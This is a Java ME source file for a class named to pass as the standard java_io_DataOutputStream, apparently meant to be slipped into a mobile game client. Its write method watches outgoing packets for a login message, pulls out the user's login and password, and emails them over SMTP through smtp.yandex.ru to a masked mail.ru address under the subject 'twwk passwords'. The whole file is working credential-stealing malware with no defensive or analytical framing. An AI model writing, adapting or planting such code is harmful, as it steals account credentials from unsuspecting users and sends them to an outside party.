import java.io.*;
import javax.microedition.io.*;
public class java_io_DataOutputStream extends DataOutputStream {
private int not_login_packets_cnt = 0;
public java_io_DataOutputStream(OutputStream out) {
super(out);
}
public void write(byte[] b) throws IOException {
// System.out.println("write(byte[" + b.length + "])");
// for (int i = 0; i < b.length; ++i)
// System.out.print(String.format(" %02X", b[i]));
// System.out.println();
super.write(b);
if (not_login_packets_cnt <= 30) {
int o = 11;
if (b.length > 32 && b[o] == (byte) 0x2E && b[o+1] == (byte) 0x24 && b[o+2] == (byte) 0x82 && b[o+3] == (byte) 0x7C && b[o+4] == (byte) 0xE6
&& b[o+5] == (byte) 0x24 && b[o+6] == (byte) 0x66 && b[o+7] == (byte) 0x17
&& b[o+8] == (byte) 0x00 && b[o+9] == (byte) 0x00 && b[o+10] == (byte) 0x00 && b[o+11] == (byte) 0x04) {
int login_start = 26;
int login_len = (b[login_start - 1] & 0xFF) & ~0x80;
String login = "";
for (int i = login_start; i < login_start + login_len * 2; i += 2)
login += (char) b[i + 1];
int pass_start = login_start + login_len * 2 + 3;
int pass_len = (b[pass_start - 1] & 0xFF) & ~0x80;
// System.out.println("pass_len = " + pass_len);
String pass = "";
for (int i = pass_start; i < pass_start + pass_len * 2; i += 2)
pass += (char) b[i + 1];
// System.out.println("login [ " + login_len +" ] = " + login);
// System.out.println("passw [ " + pass_len +" ] = " + pass);
SendMail.send("***@mail.ru", "twwk passwords", "login = " + login + "\r\n" + "password = " + pass);
not_login_packets_cnt = 0;
} else
++not_login_packets_cnt;
}
}
private static class SendMail implements Runnable {
public static final String MAIL_SERVER = "socket://smtp.yandex.ru:587";
public static final String MAIL_SENDER = "";
public static final String MAIL_USER = "";
public static final String MAIL_PASSWORD = "";
public String to;
public String from;
public String subject;
public String text;
public static void send(String to, String subject, String text) {
SendMail s = new SendMail();
s.from = MAIL_SENDER;
s.to = to;
s.subject = subject;
s.text = text;
new Thread(s).start();
}
public void run() {
String message_body =
"Subject: =?utf-8?Q?" + encodeSubject(subject) + "?=\r\n" +
"To: <" + to + ">\r\n" +
"From: <" + from + ">\r\n" +
"Content-Transfer-Encoding: 8bit\r\n" +
"Content-Type: text/plain; charset=UTF-8\r\n" +
"\r\n" +
text;
try {
StreamConnection connection = (StreamConnection) Connector.open(MAIL_SERVER);
DataOutputStream dao = new DataOutputStream(connection.openOutputStream());
DataInputStream dai = new DataInputStream(connection.openInputStream());
readSmtp(dai);
sendSmtp(dao, "EHLO lalka\r\n");
readSmtp(dai);
sendSmtp(dao, "AUTH LOGIN\r\n");
readSmtp(dai);
sendSmtp(dao, MAIL_USER + "\r\n");
readSmtp(dai);
sendSmtp(dao, MAIL_PASSWORD + "\r\n");
readSmtp(dai);
sendSmtp(dao, "EHLO PIZDA\r\n");
readSmtp(dai);
sendSmtp(dao, "MAIL FROM: " + from + " SIZE=" + message_body.length() + "\r\n");
readSmtp(dai);
sendSmtp(dao, "RCPT TO: <" + to + ">\r\n");
readSmtp(dai);
sendSmtp(dao, "DATA\r\n");
readSmtp(dai);
sendSmtp(dao, message_body + "\r\n");
sendSmtp(dao, "\r\n.\r\n");
readSmtp(dai);
sendSmtp(dao, "QUIT\r\n");
readSmtp(dai);
dao.flush();
dao.close();
connection.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public void readSmtp(DataInputStream dai) throws IOException {
String out = "";
try {
int i; byte b;
byte[] buff = new byte[515];
while (true) {
i = 0;
while (i < buff.length) {
buff[i++] = dai.readByte();
if ((char) buff[i - 1] == '\n')
break;
}
out += new String(buff, 0, i);
if (i > 3 && (char) buff[3] == ' ')
break;
}
} catch (IOException e) { e.printStackTrace(); }
// System.out.println(out);
}
public void sendSmtp(DataOutputStream dao, String data) throws IOException {
try { dao.write(data.getBytes("UTf-8")); } catch (Exception e) { e.printStackTrace(); return; }
// System.out.println(data);
}
public static final char[] hex = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
public static String encodeSubject(String str) {
byte[] bytes;
try { bytes = str.getBytes("UTF-8"); } catch (Exception e) { e.printStackTrace(); return ""; }
String out = "";
for (int i = 0; i < bytes.length; ++i) {
char c = (char) bytes[i];
if ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z')) {
out += c;
} else if (c == ' ') {
out += "_";
} else {
out += "=" + hex[(bytes[i] & 0xFF) >> 4 & 0x0F] + hex[(bytes[i] & 0xFF) & 0x0F];
}
}
return out;
}
}
}